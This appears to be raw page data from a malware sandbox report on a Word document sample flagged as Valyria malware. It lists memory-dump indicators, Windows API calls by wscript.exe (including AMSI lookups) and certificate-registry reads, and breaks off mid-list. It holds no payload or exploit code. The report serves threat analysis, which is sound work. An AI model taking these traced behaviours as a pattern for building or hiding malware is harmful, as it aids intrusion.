26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 47:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T498,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Valyria Sample ea451e5c064f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ea451e5c064f…. Malware family: Valyria. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","keywords":["Malicious","Valyria","malware analysis","sandbox report","threat intelligence","ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e"],"about":{"@type":"SoftwareApplication","name":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","applicationCategory":["docx","office"],"identifier":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Valyria","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T479,Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AC50000.00000004.mdmp") Found reference to "sigdetHashAlgorithmW" (Indicator: "HashAlgorithm"; Source: "00000000-00001568.00000000.76052.2C123000.00000002.mdmp, 00000000-00001568.00000001.77974.0F5DB000.00000004.mdmp, 00000000-00001568.00000001.77974.0F910000.00000002.mdmp, 00000000-00001568.00000001.77974.2C123000.00000002.mdmp, 00000000-00001568.00000002.79892.0F5DB000.00000004.mdmp, 00000000-00001568.00000002.79892.0F910000.00000002.mdmp, 00000000-00001568.00000002.79892.2C123000.00000002.mdmp") Found reference to "0%!sigprovdetHashAlgorithmW" (Indicator: "HashAlgorithm"; Source: "00000000-00001568.00000000.76052.2C123000.00000002.mdmp, 00000000-00001568.00000001.77974.0F5DB000.00000004.mdmp, 00000000-00001568.00000001.77974.0F910000.00000002.mdmp, 00000000-00001568.00000001.77974.2C123000.00000002.mdmp, 00000000-00001568.00000002.79892.0F5DB000.00000004.mdmp, 00000000-00001568.00000002.79892.0F910000.00000002.mdmp, 00000000-00001568.00000002.79892.2C123000.00000002.mdmp")28:T8e1,Found PE header "MZ" - Source: "00000000-00001220.00000000.77833.4CD70000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001220.00000000.77833.A31E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.04800000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.0AF60000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.2AAB0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.2C2F0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.2DFE0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.35930000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.35B00000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.36C00000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000000.76052.64350000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.04800000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.0AF60000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.0F450000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.0F750000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.11150000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.118C0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.297D0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.2AAB0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.2C2F0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.2DFE0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.35930000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.35B00000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.36C00000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001568.00000001.77974.370F0000.00000002.mdmp")29:T113f,"wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acbb55f97f0000000000000000000051ed0c58f97f0000000000005e0200000000000000000000aac00441b8ce00002a0000000000000030b030185e0200008fec0c58f97f0000e0acbb55f97f0000e0acbb55f97f0000000000000000000000000000f97f0000ffffff7f5262000000000000000000000000000000000000d8ceaf55f97f00002a0000000000000069c36855f97f00003100000000000000d402000000000000d802000000000000110001100000000030cb55196900000003a34157f97f000030cb55196900000000000000000000002b00000000000000000000000000000020b06e55f97f0000b43f6d55f97f0000e0ceaf55 (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000800000000000000000000000000000000000000000000008101000000000000102000000000000000002e185e0200000b8e0a58f97f000000002e185e0200000a000000f97f000000200000000000001020000000000000807d2e185e020000e8ba551969000000b9bb55196900000003000000f97f0000607132185e02000069ee0e58f97f00000000000000000000e01033185e020000385db5dc00000000400000000000000000000000000000008403fe7f00000000607132185e0200008503fe7f00000000000000000000000000009d29f97f0000000000000000000000299d29f97f00000000000000000000f7d99e29f97f000000000000 (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000004a185e0200000b8e0a58f97f000000004a185e020000020000005e0200003800000000000000400000000000000030034a185e02000058d95519690000000100000000000000030000000000000001000000000000001600000000000000e01023185e0200000000000000000000000023185e02000000206d1969000000000000000000000000000000010000000000000000000000800000000000000004000000000000000000000000000000a8bf3a185e02000004000000000000003800000000000000f0984057f97f000038000000000000003800000000000000d0da551969000000c00c9e38f97f000000000000 (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0d84cf97f0000070000000000000000000000000000000100000000000000803f9f1a5e020000000000000000000060cca11a5e0200004c984057f97f000020c8a11a5e020000b3ce9438f97f000020cfa11a5e020000004fd84cf97f0000d0b0d84cf97f00000000000000000000000000000000000020cfa11a5e020000803f9f1a5e020000e0f6a11a5e02000028db5519690000004c984057f97f0000010000000000000028db551969000000e0f6a11a5e02000020cfa11a5e020000010000000000000002bc9438f97f0000d0d0a11a5e02000040f39f1a5e020000feffffff040000007df0d74cf97f000080f7a11a (UID: 00000000-00001220) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000803f9f1a5e020000000000000000000060cca11a5e0200004c984057f97f000020c7a11a5e020000b3ce9438f97f0000f0d1a11a5e020000384fd84cf97f0000d0b0d84cf97f000000000000000000000000000000000000f0d1a11a5e020000803f9f1a5e020000e0f6a11a5e02000020db5519690000004c984057f97f0000010000000000000020db551969000000e0f6a11a5e020000f0d1a11a5e020000010000000000000002bc9438f97f0000000000000000000040f39f1a5e020000d0d0a11a04000000feffffffffffffff803f9f1a5e0200007df0d74cf97f000000000000 (UID: 00000000-00001220)2a:T463,"wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0f75519690000000000000000000000c0c42e185e020000d8f1de57f97f000060f75519690000000000000000000000011c2e185e0200001f000000000000000000010000000000c0202f185e02000000000100 (UID: 00000000-00001220) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000005cf0551969000000000000000000000010f4551969000000b8ed30185e02000070ea55196900000000000000000000004ef77654f97f00005cf05519690000000000000000000000000000000000000099ddde57f97f0000000000000000000000ea55196900000010ea551969000000010000006900000000000000 (UID: 00000000-00001220) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b7754f97f00000000434bf97f0000000000000000000000000000000000000806444bf97f00000001000000000000f0984057f97f00000001000000000000000100000000000000000000000000000006444bf97f000001000000000000000f18434bf97f000000000000000000000006444bf97f000000000000 (UID: 00000000-00001220)2b:T99c,"wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "")2c:T4ed,"wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")2d:T82e,"wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00001220) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001220)2e:Tcac,Found reference to native API (Indicator: "RtlCaptureContext"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to native API (Indicator: "RtlGetVersion"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to native API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to native API (Indicator: "RtlCaptureContext"; Source: "00000000-00001568.00000000.76052.0AF63000.00000002.mdmp, 00000000-00001568.00000000.76052.35A91000.00000002.mdmp, 00000000-00001568.00000000.76052.35C10000.00000002.mdmp, 00000000-00001568.00000000.76052.36D80000.00000002.mdmp, 00000000-00001568.00000000.76052.64351000.00000020.mdmp, 00000000-00001568.00000001.77974.0AF63000.00000002.mdmp, 00000000-00001568.00000001.77974.2986A000.00000002.mdmp, 00000000-00001568.00000001.77974.35A91000.00000002.mdmp, 00000000-00001568.00000001.77974.35C10000.00000002.mdmp, 00000000-00001568.00000001.77974.36D80000.00000002.mdmp, 00000000-00001568.00000001.77974.3712A000.00000002.mdmp, 00000000-00001568.00000001.77974.3889A000.00000002.mdmp, 00000000-00001568.00000001.77974.4346F000.00000002.mdmp, 00000000-00001568.00000001.77974.43F9E000.00000002.mdmp, 00000000-00001568.00000001.77974.4CD82000.00000002.mdmp, 00000000-00001568.00000001.77974.641C1000.00000002.mdmp, 00000000-00001568.00000001.77974.64281000.00000020.mdmp, 00000000-00001568.00000001.77974.64351000.00000020.mdmp, 00000000-00001568.00000002.79892.0AF63000.00000002.mdmp, 00000000-00001568.00000002.79892.2986A000.00000002.mdmp, 00000000-00001568.00000002.79892.35A91000.00000002.mdmp, 00000000-00001568.00000002.79892.35C10000.00000002.mdmp, 00000000-00001568.00000002.79892.36D80000.00000002.mdmp, 00000000-00001568.00000002.79892.3712A000.00000002.mdmp, 00000000-00001568.00000002.79892.3889A000.00000002.mdmp, 00000000-00001568.00000002.79892.4346F000.00000002.mdmp, 00000000-00001568.00000002.79892.43F9E000.00000002.mdmp, 00000000-00001568.00000002.79892.4CD82000.00000002.mdmp, 00000000-00001568.00000002.79892.641C1000.00000002.mdmp, 00000000-00001568.00000002.79892.64281000.00000020.mdmp, 00000000-00001568.00000002.79892.64351000.00000020.mdmp") Found reference to native API (Indicator: "VerSetConditionMask"; Source: "00000000-00001568.00000000.76052.36D80000.00000002.mdmp, 00000000-00001568.00000001.77974.36D80000.00000002.mdmp, 00000000-00001568.00000002.79892.36D80000.00000002.mdmp") Found reference to native API (Indicator: "RtlCaptureStackBackTrace"; Source: "00000000-00001568.00000000.76052.36D80000.00000002.mdmp, 00000000-00001568.00000001.77974.2986A000.00000002.mdmp, 00000000-00001568.00000001.77974.36D80000.00000002.mdmp, 00000000-00001568.00000001.77974.3712A000.00000002.mdmp, 00000000-00001568.00000001.77974.4346F000.00000002.mdmp, 00000000-00001568.00000001.77974.43F9E000.00000002.mdmp, 00000000-00001568.00000002.79892.2986A000.00000002.mdmp, 00000000-00001568.00000002.79892.36D80000.00000002.mdmp, 00000000-00001568.00000002.79892.3712A000.00000002.mdmp, 00000000-00001568.00000002.79892.4346F000.00000002.mdmp, 00000000-00001568.00000002.79892.43F9E000.00000002.mdmp")2f:T809,"Insert the data into the document" (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00001568.00000000.76052.04800000.00000002.mdmp, 00000000-00001568.00000001.77974.04800000.00000002.mdmp, 00000000-00001568.00000002.79892.04800000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .")30:T5bcb,Found reference to API (Indicator: "MoveFile"; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.A3200000.00000002.mdmp") Found reference to API (Indicator: "CopyFile"; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 